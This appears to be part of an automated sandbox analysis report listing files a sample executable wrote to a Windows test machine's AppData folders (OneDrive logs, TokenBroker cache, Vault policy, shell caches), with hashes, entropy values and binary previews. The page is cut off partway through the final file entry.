Preview:	1.0./.H.Z&...D}m......#....+..E...l...O....+ED.....%..:=..M4o3..J...DS.Y[..K.... .....s.^..nnm.[...F,..............G(.}L{..,t.}.d.d....QP...Y.......rg.........LdwHix.3......X... ]{.....:..*M.}...d..9.=...@Y.....y....dwG.CV.$a.J.&..I......V..Z..W...Y/}..k....u0.#..J..&. .R%wZ.'...iH..]~,..E..%.X..qO.....y.z.9.2b..(a>.....l.s.O....).._.:...[.'..@Kq..I....b"..73.r.........l.(..%.m.F....j({..,{$..X.7iY.........\.....!@...6..B.lH..}.....,.t_...\|...c.T.....Kt.6.+joB.[....p....sI.~;.r...i^.L.Na.S ....\+q.......;#P....T.;..K.......\|..[!.v.<..V.p.r..jB...r..I..r...P....O%...pV5j..i.F.S.7.W}...,......f..w..-k.#..j..4..0.&.j....6.;5...$..h..:v.:...F.. .Wr.y..5.j.Fd.X.,..=.B.1..;/r...e.n..u..lU.f.'...l.l.......9...8.D...Vq...e.....0..._..\..{....."....m.\|.:...,.~=...2.....rJ..\|.9.... .j.L.C.p.\H.bt:.3.l.}i,t.t,.....@..07....).....l...z.7.W.jU.O..f..p..3..0......)..H.T...}j....c..X...d/.k........\...........5w4`.].C..V<.........O.....6....h.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2034327578325417
Encrypted:	false
SSDEEP:	96:KhllDM9Q+wMo+tDp+L4au2xRj/wB1DEjg6Cw953ol5b3qxZeCMBDPHXEeLq8sWcN:KhfKftD04kUpEjQw96/bYM5EeL9
MD5:	AAA866D4977B791E62C3A6B589B14E30
SHA1:	7843F73273EEEBB96370B5FC79E1514291C3AE6D
SHA-256:	6D880B5DA6334BD568FEC03AE90D4877D42780FDE95C1CC357E6731785F504EF
SHA-512:	4B461267F5A8A0AD67D318248DB1CFEAC355AF3BBC154627CE47861C722CF1FBECD3807B1190E78EDFC70777DA2892E52B7094A0ADB74E903918425B85848F44
Malicious:	false
Preview:	1.0./\.HQ...h..qd.D.Fm.W.O)l_...{-C.4.....V.Yx...S..g.4Mg..u._t..L-x........)....g........s6.1...}...`.Y.Z%...........0.....2.3...1=8 ..M....L....`a=.A.?......$UF+.qb=.....U..>."D.A.%Z.L..\M...!.....w..Tx.M.s.g....s{5e..SQr...oj......=...*..8.....$..e.f..a1'....d1s........iiaC3;. ........36..C.9z.....6.m......,.Zc...<zi.:.p.qPG.....\|A.%...Le4.H.".....HY.-F.A....#.r.....'.../...s.V...lj.u.S..-4.\|....U.....{;.X`$..)....hB.g!SX7.....#.dq.l...D.F/n....9..N4r..G.>-..;..e....$..2.X.......c&A.!...........(.d%......hk...b.a\d.M.h).0..O......L.U.L.z..n..9/d.c.7..B..........i.....Vs'....+u..Q.s.z.....v,h..s/.C..._kh.L.[..V.9.-2........}(+A...O....0.i.....I..1........MV.S.F.1.n.H,...Tv..5.....).e.?.^...q....Ye<.OTt`k....B..R.q..P2..H..r..eE. .mMMs.N... .}...........J.eaKi.b..\|..[..C]...Vsu.E.....u;.}.:..6.....g..m.....@m.] ..f.<Yr.^.I.?M..-J.w..!..}`m.{;.>Y..M.MVv.rm."...%....<...~.I.e'..vu..t......\..a.71....}...J...../....:.j.Kr.K.(\.=..S.Z xJ.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083652_5268-4940.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.7628664702757844
Encrypted:	false
SSDEEP:	192:ep+xMPcrULaKX++FuyEWJbawnq2nWHMhv0EYv+3zs9iNhvGEzw5:epiMPcgLaKumBJ+wqsW4MosINhvGUu
MD5:	A4B70FDFCCDA8AD319FD0B7E1C4ED3A6
SHA1:	A10A24C2F09BAB194310FF1A4E18F6D1EA3F38B2
SHA-256:	1B4724DB8A716FB02A88FF828589A14A73AC9E75BFC64EB10C560FE1F6AF9DF8
SHA-512:	79CD484E76CC8A3591E3D4DEEEEAB8AFA3856C13AC3FF7D81693B05C9CFCA236C2B976248A902059B2F569855B3C6F46C905B67502C0E70F6A0201A7BC023C10
Malicious:	false
Preview:	1.0./...I.n....q.0.[.F...R...}.b._......9.LQa...........9%.<...Arb.GE..U..b.....x&..6........M........uX..W......L.#./GX"W....{.O.D.d1.X.$...6...9.......w.Zg,.\B....>.{........=.........K ...,.M.d3).@RyiT.!..)f....7...oq....(..\).9zbH.x..G....98...?.9.?.J.=.^...B.;.. .7{P.D..l.V..L.....h.....?.....'F..T1". ...p...B..../_...X.+.d.2...S....\|,...R.;(.../z~-...bz.E.....9w...X.x0+).....}.`+...G..z.......&X....+.A5W......m.:cl........E..6.E..x../.e..e...ig..X..Y.&...to.l!V_.U.!t.\|...5."..".....Q.....:......h?........\.....t.B$.&...\.?Dw,z......<0.\|_>..&.....kp.I1U.m......\|..}.T...~P.:w../!..I....db.A4.@\6..c....q...G$......Fy.iT....I....kh....=...........o.....J4%D.....:h.._f...x...)..f...#0.E.N.o....,..y.....V......f..~;..)E...W..?p..\|.SP.p...j.9..+0.# .....]Z..U. .dh~k..Km..iw2KM.h..0.$. ..Q....5..1.......k}..z.!.o>.N..N.A........U.U._.M.IG...J..R..(3.].M.u\.G".......V.;...z\.>....V..O...D!Y..B.Vv#.XI.YF....*...VL.\..e/.;<C..+.}/..C.x

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3211264
Entropy (8bit):	0.6635136179652031
Encrypted:	false
SSDEEP:	3072:DzE4A/PDPda2kXOzzMXR4ppOVxqcDuLZ0Jt3b1MdM:DzEFPDs2mhdx/DWKJt3b1
MD5:	0E6D67D23BA89D89BFF4382410DCB6AE
SHA1:	B6C55761C94D0CA06F4D77748E1ADE702B69C3E5
SHA-256:	B8B3510B56A2EEABF9394776ABCDB9F4174DE32B14A93A7C2F76F102B111C666
SHA-512:	C4EBD8F60F56DB30F979119809E32EFBF3C5E57904453D1F64C9635E88AD8EDBC33F1E1CDAF856C9A674E2F5D5B26A1E95680AF403F3D415F3854415208B4A3B
Malicious:	false
Preview:	1G.f......JQS.lA3..e.,.z.n...aem.R.. h...p...Ra.?}..K..$...+.u..7-....sU+.8..O....I8.8...&.S....c6....M-t.&.-Y.k.33..Y\|.c}.C].2..3>.H..V.....)........}..]r!..la2.P.+...k..'.}2.#.=.UY .&.00..RPD.4?)\...AB}}...\|..=_......va.u.I.N.!:.gQ...W.' v...{..5........w.xX...[.H.........X%\............].....1......p.'.W...f..[.....9....f}h..vT.....&.% j.D.!XA...n........Y4R......;.%Ch....[....{.h....u...^CD..mn.~.!.....{Wd.I.M...$y....r........V..s+..o.A...=....7..5.^.'\w.....f........X..'5.N...1H...g..m...~.<.AiVz..u+..^n.]&o."P.....Z...$.J.?h4.*2->.f..d..S.).,.C~....8.%&y..........;c,.bp.]-C..f...yJ.N...aK/.. ..-..U..<....4IXF..-.:....O..{...u....!#.&.f..2.K.0t.,.....v..P.FA.F!.ND..#.l......0.].,x\|.a..H.......e\|.0_cF.A...\|....u.]...)O.8.fSk....'jL%-[1....K.S8 ..`'...S3.....4..V.m.[p..6..{.t.P].....eC....Y.&.p..g..b....c>...W.3.m`.Z...Gk...'.. A.._.V.#g..Hc..4M..@.u..n...~.C..I.Iy...pI....^1.5u[\..h.6;9Q....w.>.......(.......\|.n}....o.n.8..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4246302132543205
Encrypted:	false
SSDEEP:	384:JOzdfkRo8ScCG+qpJ3UC4GVdYeccBOTPEkgAAfC/pLCGevxo2mT6s:8Ra9rTUC46YecDTPEkgd6/pGfmT6s
MD5:	722D5E7B650B3DAC93B63B92B0634296
SHA1:	20A466A3698BA9D68399090B786E9D57BAE07003
SHA-256:	91EAC50EBB66588DB9EE3EC578A0F8355FA8F4D005A35F242C4A499E7C156781
SHA-512:	6CE2A6E8746C32415CF2FB90045665F991F01006675AE3824CC06147725B00327DB1A778F219971A896B102B937B9E6BDC0BDBFD9560A9A08CD6F2B99139E37A
Malicious:	false
Preview:	SQLit.B..E9....Sp.X.iNih.;..r6=d.\|.....z...\.v..ij.s.$......;r.._=..Q.T:u.'?w_.t.j.J.Un..?L.....d.LS..M$...X...B.3z?....j.@k.W....B.{.7.. U...q...szU..b.0+d...\...G-.x...-H..Gq..\....U......:.x....bbM.&.M<.....,..s..yT#<+....b..L.......>S..k...w......f.-...%...p]E=.&..p..DP.E.2.G..Y....;..{`..gNs...L......q.V.l..4..d....L..:H..z?.k.3...:....tI..H.k..p..G.7.m.0W...w[.N..+..S...&z.J..#.7.@...M..y......v7.R....X.2.nj.....e....#O.......;..4....W....e2uq)..v.8Z..-1.."[.o,.<..`.M.....Rg..?..C.Y..f7.I1..]Rn...#..n.2......v....un.=b.zu.P..+.6..5.._.E...$.h.j.\|".......1..._R..]...p/..."....B........E.1()b>..f...#...CH\|.Q.$p.J........^]s.,.p..U...t.T.0v,e..A1. .~......\.Z.2v...V.d..n7.24r.;...O`N......\...8HWo..4;...Z~..j......*6q..A.\.}.................T...+...6...3...^.J.].j.a@..2.....g..L7.....q~....}`...CL8.......n..Sg#...}...M.iA.M...9..t.....g.s /..........u.<....'... q/W.#.o.. ..M..qW.B.(V.....U...oa......=.8..../.a.L.d...{P.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.927940815996392
Encrypted:	false
SSDEEP:	48:M5RC+QdS0f8p5aLdVstzcMCr3N8PlrYa11LEcDthpoz8Q41lO/kHFD:aRCM0f8PIdq1cQPlhXnQHcH9
MD5:	C2B1C5B0635544F6A7027FCB2ABEF9DC
SHA1:	81202610F72FC039627850853319F6FE4C105930
SHA-256:	65D6D832B6C83EBB8184F71DD20627777D32E579491A0E9E725B35AEF68F52A5
SHA-512:	122A32067D9914F1068DA28E9787EAE6CEBC09E9A6444C1ECC913272CAD21196D2C674D47A63765ED557E4E113BEDE09E196B43D8D93B4305BBED4E0D5201C13
Malicious:	false
Preview:	{.".T....4.Lb.}\|..........'..A....)SI'.V^.v%...=PF..o.b.......>{.R.(...&...u....nQ....._.....U......V.O.hn...H&b...\....k....`.Z...j].(.`/....:[.xKO......J.......4c...K"@l. .53.8..(..].....?\|{".h../.6.".?/.h6..s.x..=.y...vm.e.Pl....J.0.%x1..<.az:..L.(.%g.......w.>.V.F..iye...._....M..:......X..r...9n....!:......e{$. ..z\|...Xe..j_. #Z..u-..."w#c.qy........C.#.#VU'k...=.@R.&Y.3.."...)........9..........j.1.5....B...h:>.\|.mY..}..!CI.n%....gm..v...o.f.C......LHa\|.n....<..9....bT.X...s.h....-.5.."h;..X.ZU.(4~ .)A..`.:F..9...-.{d7.Uz...+.\....[f.....R..8x... .%Na...n...5.h......!yk./.8...Ws.D.....q\23...a......l..\|c..T..0.I1.....?..y.].".D.....g.....ee.HQ."K.fAu..!.#..CY......iZ._)....lS.q);...0Q..jd....L./.YB.v[-../Cl.{.f.JpYo.\<..24.Z......u..O...<.....7PI.@.....^f.3Ul..z,.. MjQ..r..."..1....L-&rrk..}.;$6..Oi.Y...X...C..N\4.......}...y.`.I..-R..I...Z..q8..B...).?.J.AxixA ....{.Gd..Z......?1?....K.f"....d\|.h.T..?.-.$.=.F....9..T1.x{.6..\..Q...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.941428010922796
Encrypted:	false
SSDEEP:	48:A8y9Cgum/rOwpAIKwoG/LemSmi7pSX0SetmX/QlY9ta2k8d/MHa+w//mqBZoNUD5:u9l1/rOEogoJtSpSVKta2vbA8WJHsKqv
MD5:	BA3059FDD04C607C28B5CA6BCF9610DF
SHA1:	8FD3443DCBB30DC64F72C056947E25480AF9AC61
SHA-256:	979E5C6B6E3373E2BA3E7D5A9F6BE7F9909D94047798509CAF969E02F010B71D
SHA-512:	3B25AB3A2817DCD34283FA89BEF06A44D93531AF89A8A8CBFBA99B6EDEDB43BD3D1C626116953196FC14E81B4DD75CD3239D4DEACB4F63E7C22CA28B136C1866
Malicious:	false
Preview:	{.".T.l5....v.'._...h.$T....z#.....v5..}.......7...+..p.@.S?.D.,wt.Z.V..l...NH#.Y6...v....n...'Q.>.u7sO.ND.N'1.K..k6..?...V.s...c.........w.E..v$;.y..D.ZP..J..T'.t3..'.Ae...\h.......%...M.d.g...E......[..b...cb.g.Z.M.N...........N..).M....M.+..E.v..bN@.:...aq....Q.r......^...t.,...f..V........}.......7.`......GIS..gt.5.L&..o...;....;..._pS...D...n\|F...yd.....@./....W/..'.fdi.1..@.v.&:d.T.L.$.y...,..\|...1P...%J\|7.q.B........K)-...-&P..f$...b.!A=b....n.....[.... M.XD....p.[..^.%...w9.;\|."-r0.).....{9X.c.H..^`...G..G..[.Q..E[..[e.Q.8(...A..f.n.._?..Y..c...I..>..q`..i`...l.0T....E....y..A...NqhV...p..k.V..F.nO..t=~.Z.....H..6.?......l...f..%N.Q...b..x..Q#}..........%p.....TM[t.[..]..YtmO;P.m.....4d....d.W...5y..+D0..S.z..P.N....q..&..I.@0.`..J.dl....'...#`Eh...=Kh.;.:{...&.....b..$t.O.eb.;.l.t.\|...q6.'.g.?..k.A.pD.H.4...)..hM.. .].JZ...j.].ks.. .M_.....`...k.K..h....H.X.,.@h.k..4X.ZJ....?./.'.d.&.....0.$/gJ...X...$...+.B....1....d.....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.963218941048107
Encrypted:	false
SSDEEP:	96:ewnmPvchHPcNrFT46GizmuSoMn7ptbJm7mtHWJx+lKDh8gSdaeyYW/9:ewocxC4+SWG7bIMWus8dqv
MD5:	B02256DAAD7217C58CF6CC6A81578852
SHA1:	2E212EA8AF6288D5CE1CD9406162629D27528842
SHA-256:	48A43465CD4DD10F0589AF89EF02B0E31CB3369E8C21FACDEB53F8937BCB1866
SHA-512:	8971BDE05887895DFCFC5946148EDB6082A4CCC51CF55BE087669C75F7656EC336B85EB310017F1524FCEB5AC50BE62419FE7E9DD33699809B75CD8BD1241873
Malicious:	false
Preview:	{.".T#bV.\|Q.[/S]......h!.>S}N........Eh\|.v..Z...8....$.i\|8........r.j)T.c../.\|.pDs.....\].7...!.:...'..g.J.>.....D.)"8...ya.D.4...\|.........\|..9Z!F..J-.m.Y..r.a..1G.1.z.=..`U.O..\|a......F'b.(.5..n..4H%8]....v3.z....$..H7.e..70......Cr..:..&.)}..M...9...q.c....B..\|.\|.,..#..Fc.F..!.mm1.%..Ye.}4.8H. F..\|.....;..).o.p.......;.^T{m~..[....l....)...k...o.,.M..Q.)..9.. ...U`.<&....em~.RRw9=Z%@.......9.>.....V.....'.j9A..4...[..h.O.$.^O{...~.Q...4^..C5...\|X#\.Q.B&..x..&.......6.H..Q.p.u.Z....oG.+./....5tU..?...+#P]H......L2....6.:!.....R.\./(.@..3I./......v?.:~Q&..3..$.l:.6M....] .:..}...sQ8.M.8x.:.m.1Z...L{.7...P.+.(Xg.}...r8...C(.+..;.......O.l0(j.f7.Q.`.U.z.j.e....a7.~..bE\4l..'.CI#\..H.fY.....?.^#>m[..._.c_O.......x..l.LQ.eS1o..J....3Ht.....<.~G..Cw,...((5...;....i...[.b..d.....-...[...e......}..A.(....6D.P..D..P~6$...#.^_..(.Ow.(j...7....b..b.U.d.3....K.B.>.).........G_...\|.E7y0^P.b...Zd'.]....@.K*T6.g.....".9"}.o.H. .-..\|.%..R.4..i.\|?.R...u

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.932566663157114
Encrypted:	false
SSDEEP:	48:w6smafv60u1sBzp/7C+LT53H7x2WCqPBPsQDkTYfuZujPlBV5rGT84C15PDdI5Lu:wwmJm+J8APBPTDks1Ii5PDdsy9
MD5:	3646674DEB75353CF764146652DCEF02
SHA1:	2E8F6090ADF92D27DB2D7A3DF8CD8C5D47E8FA68
SHA-256:	B23F84BB6FAE31696B444EF60BD18E769225F8BE19D707704CD87BBDFB92A2C8
SHA-512:	DABCB217947F1EF3E4C2712C590C66E35C3A24EBE83365D51AD41D84FA3995D974F760AEB4B8AC07C137EBE6DF1FB20D60CFBBE0D66C244AB4F0AB4F4857E2F6
Malicious:	false
Preview:	{.".T'.....).J<......./....t.i.H....g..I,..P.y..SBH.x.G=.D.!(.g..s.......m.\.:...U..].q..K.<$.f0.%).@....e..I{.T....8#........o...@7.z.^@....O.N..-.[....2..oL...].t..c.d.1?..~..xf.3,.u.I.g{.0{.;.G2-.{.j.U..{a..i..5....bl.o.D.\|.O.!b....Z..29.nE...2s.P..D...ls.. .H....f.I..B.......~K...v._.x.UD...........[.0.d]...a2.s4...R..$.DN....-...<..H.....&.N..............ut..Z;..R...6.[b..[.D^m. ..x...9%.V.{..";..aX. ....=bo.F.p..g.>oya.7.w.{o....%8...1A.-.}j. -.i.T\|d.,.0..o...)... .L...fZ....{4...J..@&.;.?......5.gF.3.V=3N.z...tQbqS./...+..^'OJ..[z...W.P.$...u.`....U.,.I.+."..k=....K..B'...K.K........5.r....M...TP......a.7.sr\.1.......[......Y&....0..%....q.q%.:@..^...q.IU...e@.....q...&w...^G9\.h1f..` b8.w!.k.\|.d\\|B.r........,mV.l@R.O..;..".qnR.7...sY.>.'&.et%`..'........}22....r)b.Y....M...fM.\|...+.N........m.X.}.....G...G..D...n>..........I...Y.c...-..j...24X..C...\|Tf.w.H..O...!.....85..6...7.`.6.....d..z...c.Oo!gP..@.'..]......9#)

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.921370470442688
Encrypted:	false
SSDEEP:	48:MIlILJe9KCrXob1DAlcSDnsJXXvmN4PLW7ktaG3rBa9uUw4xE0jdmFD:BKYKCbWxAlcSLavBjW7tG3dAwOE0jk9
MD5:	9AFE7998510B3860B39F9DF3EFF09E2A
SHA1:	F793EA53BBA2FEF779007DC1A4AF94159520F891
SHA-256:	CA037CEB5CFACD6B01F720A9D490550A809F3D4963469C75C59D8D2A55E41AFF
SHA-512:	3A56972A6867D460EC46C88968F0C8AC720F58E866C1F5C0D16E3D8C09C9CCB3E2AEE341DD7C7C8F32A34AE29F6EF0853A1D91AD76BD66B38ED1D3D500D245FD
Malicious:	false
Preview:	{.".T..S-^....k..GJD....&,N.]2.T...;'...6.7.p.$...L<...kk.X..~....`.=S/.v..l.2......-UT6.>.y/.ST....$....NN.......`.l..S......Q.?2.X[......o.m..q.4.I.}.<Gz../].6KN.t.I/..`..CC6.A..kj.X.....:kP)d.p..%^.JO.[.w.2.8....I.9...q......x.MZ3:..g$b.Im..B.......l........".....F../.....>..$Za.h.j[..@l......7..s..4.....!.!...g.+-..zk.=.......!:..vs...7.R......#Z...IU.w.C...}....6.....j........s.h.j.[..^.K..xs.Ic..se..R.L..9...=m..... CB..C. .W.[.WBM+..@o.... .&>b.e...[I0..1A..Z`...2e...,..T..S)......P.B:.v..}W.....d.?..6B.^..:t..6...`....8.t"...?....h!...A.0..U....p.]].[.......}.`..(>.\|Ax.....T.......3..a....,.& ... AjvtN....F.m.\..@8.T.....J=..b..F.t...CO.g,..3a'...i..qKY.#%..{8E.......N......q..a......,.. fY..~..^...<].$...B..{-%.`?.Q.V5..P...y.6g.g-.(........../..f..e.........]..w.Sd..\|....y.........K........^.J....N.(.......J6.7j.."D...L.Y/.qb_[..; ...n_.@zMZn`.v...q_..mF...u..K.....\.E.LiM.-...L......f...Y....h....fr.G{b.#.

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.701418126990481
Encrypted:	false
SSDEEP:	12:dheAe+HMzFn0Y94Q/yIr0Kur2+1oSokgWv7JcFkBahB1COzjVcii9a:dhva0YxaIgRv1ouWFFBVbD
MD5:	1041503B13FBCA9E259BF88D0DD6850C
SHA1:	C4EED6D2D1E3FE853EA6B4B2637C57A7F5CCF5BC
SHA-256:	165BF70BABF87172D5A39CBA0ED6671F95852666D7A87CCDED5343FAE29B2C65
SHA-512:	9418DE5D43ACF2CB262F71934FD9C09B37D0BA555DBF032F6F6EA9625A206F60F51D97AEFBDF61EEAE5F5CEF5C2D5A9093BA4EAF0D0CA619B400F06CC5341F78
Malicious:	false
Preview:	....B.S.............F..T.r....W..sO...X....g../..N.h3...c&.Y.T.0.j.Y.T....`........._.....E.n..8....\.RH.x......].4.... ..\|Lc..4..il.g.R/w.&...\|K...2q...)k.5....%...C.A.\fX....\|..v... ....Aa%..o.q.F......sa....g......#i.3\|n.O(X.JZ.u.....W..d_.%.8a..hI/.......i'..n..w..G....e...a.h]..Z.> ....D...45./cky.z2>...UYj....@&)2..} ..2........T[.uL.'..1.l.h.5.. ....>jer..~..$.b]....'.......No...%..D5...pU.V.7\V.@.m..79]...K.Q..\|..J.0.>..>%\....(;Hi.....rN....eY......4(1.=i....m...V...^Q..........T.......XIe.&.%B..........L.].\........F..CcT.E...s}\|.UW..RD.;.Ua...9.q..V.....vP.X.....R...I..<....4.IU..z]l..l.^.61.:..M`3..uH....X..Y\|...d...g.........3.citkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332306508726553
Encrypted:	false
SSDEEP:	6144:S2NBFpvkQiKodW080IjsIO+mi1WGFqbam+vyJfbnQkK96B88yKv4bWTmTvEiLSi:S2DCKoBWj3OEWGFZm+6dF4/F
MD5:	1D46B4D99019374E46A69AACD6A4880E
SHA1:	6E03096DBE6199835F9C915C37B82F36272D3246
SHA-256:	BAF117FB8F77D7A76B5E172D3F15BFE037CFC34456CA2B0D55CA48F389D50B9C
SHA-512:	C1E7A0795CF841BC571FF2492CFE8A3450A67F59BCA2517F420B348352E2BD4C64D606290687596DF020A6E77387F6D938A1D1EE6F8DEA6204B8D8D625B5ED45
Malicious:	false
Preview:	...P..P.....O....a....J...T.1...^..6..4....w).......&...A.....c.r.S.....cw....`.K.k....... /......`....E(..N.$...4......>.M.6..PH..<.....f...t'......n..v..qq..R...GN..R!"JYv..>.Io/.5V..TzY.. ...~{..[...~.$.../.g....j..jo..R..j...r.2_>~U-'.3.<{......>Q...o5n.-..k...o0Zt.i+...:)....5N.h.\f...%..-..]k.%...q..s..,.~X[..v..r.E..Y...e-......:.I...4z..[..u.....F)(....~.m. Z?.dC\|TI+.IL'.....l.sC.T..V.6.%.......2P..H....&..f..i.t..l6..]2.Z.....#..^9...z.....<......0...P....U..[}#.!..MW....1c...._.&..6....3.(......V..+_.T.0....=.f8~7..,..b...tI..X..@....q...].af.B.eLz.....I.6...O..\...<....\?Uk.n.d..g3....?.T.(Dz..i..t...DyV.Q...M....h..DFXT.ju!c.u.=......U........MF(.+.3.......+x..........W-9...V<..@b. {...!-.....C....EPQ..h.A...b&.."..z./`. ."Q..._R.....!.^.#..V...[..Q...}...0..a\.....T}.*.7.)b......Q_..=..!-...U..X.R..w.:..9..>.NW..L;....>.......0..].....w......_'....j.f..k.%.1.ek...@h...F.$......w^EE.V"...M ..W..X......}..!9h.'..9

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988351772306178
Encrypted:	false
SSDEEP:	384:KqtfrEy6ibljrbDhUZyXNxbP26uJY8LiuCQ/pCFyA91pVNF6vYSahzHXJ:tdYniBjHDSeN+2uCQxxk1pbYv1aBHXJ
MD5:	423F5901568596ADF0F2B838BFB941BA
SHA1:	B75956803E915D6B20383A48AFFC11B19F82D04D
SHA-256:	D81B1EFE27EDC84F59986C9B3CF1BDF81E3EE364FEB332FFEF969DC1D760BC58
SHA-512:	3DBBFFAD589E6B17A1FE5DC384645525D0DBDED52B16A8C56FC79998AD822683CCDF72F6447FE5385EBE71A5F1961C6DFC8E63BF0ACAA296AD443B5F3DB6AC17
Malicious:	false
Preview:	.... ..K.j...,Z..p.S.B..'..n.s...)... Dy.....di3...\|.<..T.A\|g...K.;..p.X..\1..w......R..`.;p.1....Y.-.].\.-.D..cu?..j.'.GE......0....lXV#mF......!.Z..bC#.X..;(......m+-.q"./D.0....e.\|....3.7'..J...Y.) ..AA.....YV..K.q..j......TJ.U!v9?5...k..j...7...s{q..N..-.`~.....F.%0.$h. g=.}..>..,.C;..N....O..."m......k..C/.G.?..1A.>##m.G..?.T...I..=.....E._.O(......Z...=.....)g.........=7x.D......U...=.U.(w..{h..n_. `F......v......E...n..u..H..._]..X;@........@..L.B..J.4.}....K1.iz.7a.g..._.../..U......>..)...g\.o.[+VOL........d."..r2..o...Kj%..p..xy.y\.l ...=...R.k ,.+T.-..T..u...T..?.....s..[.....C.F]I...q..y........A[;..]..6]FNy....O..,x.N...<..:S....7^9.......U.a0.....`Nb-S...j.............\|.<;4.M.ndC.>.LsQ._...7#..."...xP.gM~..mm...QRG-.p..Y...Y.b...._..k4}...K..Z....ee3..%r..6./4ieb.d.~..O_..#.%...4V.5.s..8..SqP.j....sb*.......X.._........i...L.>.Lknb7..(.h........Pzb..;..X..$.%.d....&......j.....R....B...).??.....]..@.f..>.x...1y.;8.D.O..D.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988523775653072
Encrypted:	false
SSDEEP:	384:9Fr2Z1PieDpkUsUdiFJDCcVkpL2F6pO2spR:7EalU94DDOL2F6OR
MD5:	09161E3910FC5681129BB790700D609E
SHA1:	B049A0A797101DBE0664D7C35F8A22788CB6E48C
SHA-256:	425EF24B42430D2DE975B45213836B0A12DA3049704AE7E2A0091FF2C646CEA3
SHA-512:	90CB4136D071C44E21EF64230EE4C1F0EECF488338B0C199C584C014AC25183E6B13D322543329176EA1E9E7A015CA65C1E88E1CA8D55385B5793A1AA4D32F57
Malicious:	false
Preview:	....`...f.u...z1.o2..u.=..... )...qE..y.@n.s.H...!...T.c...,.bzrV"6._t&$J.\X8c..c..s.Q../P.#{R...a.".._.pW.:y.R:].....sw.....60U.=.m+... .&..]a...d.u...>.>j......A...[..Mjv.n....s....."..kF.vJ..)..o..[$.A"....3....?...c[.......j.W{P..U-lK.,..;Xf.>.......}.H....#.4;...c.ZX..G$.DJ.ef{. .i.v^...M...+W../.<$...=!.lL...u........b..P!>.sxk..........^.......;pZI.A..Fg.....TtU.v`\|..S....q.h..!E.lF..Bo^(...v.g..Fr>..q.%..<O.8 7s.x.WT........3......q.M...q...%.......x^..T./.;.5..G........=..I..d.w..aiC&.op..-R{o8.Bd...rm.G...V......XVIi.Z.:6R..u4......:)]...T0.....H..... q..(Q..E.Cn.....o..`Wk;..Y...O.&.a#...[.=.k...V6b!-..z..;<MT..........5.S$...M.v....1.g...)....Z.3.5.\|j....VY....z...=.{.N.....6.k.m/.<e]..nd$!0...9.?..v=]...y...EN.U....<.....J.j.?...E...g...\|&...f9.q`.sA4q.......h>3.l02....f.7..j.......<.M...~. .).^V...../.%.sg.}e!..#\|.......3...&..<.:MI...R.-..f..V..C!...pfk.....3.2....AR.{.......k.t...x^?.&`0..Sn..S.x.!';..:

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.3316647044191985
Encrypted:	false
SSDEEP:	6144:kUrPVuiVNa1mkiv2mAZEabl+Jm/m+vyJfbnQkK96B88yKv4bWTmTvEiLS/:/civise91blJm+6dF4/c
MD5:	2B913D815CC779DBC0F34889A34E3434
SHA1:	7EE7F2E8F3C054776C3F15B52E26F358B9411236
SHA-256:	E276E133968A6540314FB346F0B96D0B30AAC43E27C7D2B1992D55F46964BBFD
